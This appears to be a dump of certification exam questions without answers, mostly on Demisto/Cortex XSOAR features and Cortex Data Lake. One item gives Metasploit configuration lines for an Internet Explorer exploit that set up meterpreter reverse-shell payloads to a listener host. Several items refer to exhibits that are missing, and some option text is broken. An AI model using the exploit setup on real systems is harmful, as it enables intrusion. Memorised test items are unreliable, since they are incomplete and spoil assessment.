A General Purpose Dynamic Section can be added to which two layouts for incident types? (Choose two)

A. "Close" Incident Form

B. Incident Summary

C. Incident Quick View

D. "New"/Edit" Incident Form

"Bob" is a Demisto user. Which command is used to add 'Bob" to an investigation from the War Room CLI?

A. #Bob

B. /invite Bob

C. @Bob

D. !invite Bob

When a Demisto Engine is part of a Load-Balancing group it?

A. Must be in a Load-Balancing group with at least another 3 members

B. It must have port 443 open to allow the Demisto Server to establish a connection

C. Can be used separately as an engine, only if connected to the Demisto Server directly

D. Cannot be used separately and does not appear in the in the engines drop-down menu when configuring an integration instance

How does DBot score an indicator that has multiple reputation scores?

A. uses the most severe score scores

B. the reputation as undefined

C. uses the average score

D. uses the least severe score

A customer wants to modify the retention periods of their Threat logs in Cortex Data Lake.

Where would the user configure the ratio of storage for each log type?

A. Within the TMS, create an agent settings profile and modify the Disk Quota value

B. It is not possible to configure Cortex Data Lake quota for specific log types.

C. Go to the Cortex Data Lake App in Cloud Services, then choose Configuration and modify the Threat Quota

D. Write a GPO for each endpoint agent to check in less often

If a customer activates a TMS tenant and has not purchased a Cortex Data Lake instance.

Palo Alto Networks will provide the customer with a free instance

What size is this free Cortex Data Lake instance?

A. 1 TB

B. 10 GB

C. 100 GB

D. 10 TB

How does an "inline" auto-extract task affect playbook execution?

A. Doesn't wait until the indicators are enriched and continues executing the next step

B. Doesn't wait until the indicators are enriched but populate context data before executing the next

C. step. Wait until the indicators are enriched but doesn't populate context data before executing the next step.

D. Wait until the indicators are enriched and populate context data before executing the next step.

The images show two versions of the same automation script and the results they produce when executed in Demisto. What are two possible causes of the exception thrown in the second Image? (Choose two.)

A. The modified scnpt was run in the wrong Docker image

B. The modified script required a different parameter to run successfully.

C. The dictionary was defined incorrectly in the second script.

D. The modified script attempted to access a dictionary key that did not exist in the dictionary named "data"

A test for a Microsoft exploit has been planned. After some research Internet Explorer 11 CVE-2016-0189 has been selected and a module in Metasploit has been identified (exploit/windows/browser/ms16_051_vbscript)

The description and current configuration of the exploit are as follows;

What is the remaining configuration?

A. set PAYLOAD windows/x64/meterpreter/reverse_tcp set SSLCert survey set LHOST 10.0.0.10

set LPORT 8080

B. set PAYLOAD windows/x64/powershell_bind_tcp set SRVHOST 10.0.0.10 set SRVHOST 443 set URIPATH survey

C. set PAYLOAD windows/x64/meterpreter/reverse_Tcp set SRVHOST 10.0.0.10 set SRVHOST 443 set URIPATH survey

D. set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 10.0.0.10 set LPORT 443 set URIPATH survey

Given the integration configuration and error in the screenshot what is the cause of the problem? [missing the exhibits]

A. incorrect instance name

B. incorrect Username and Password

C. incorrect appliance port

D. incorrect server URL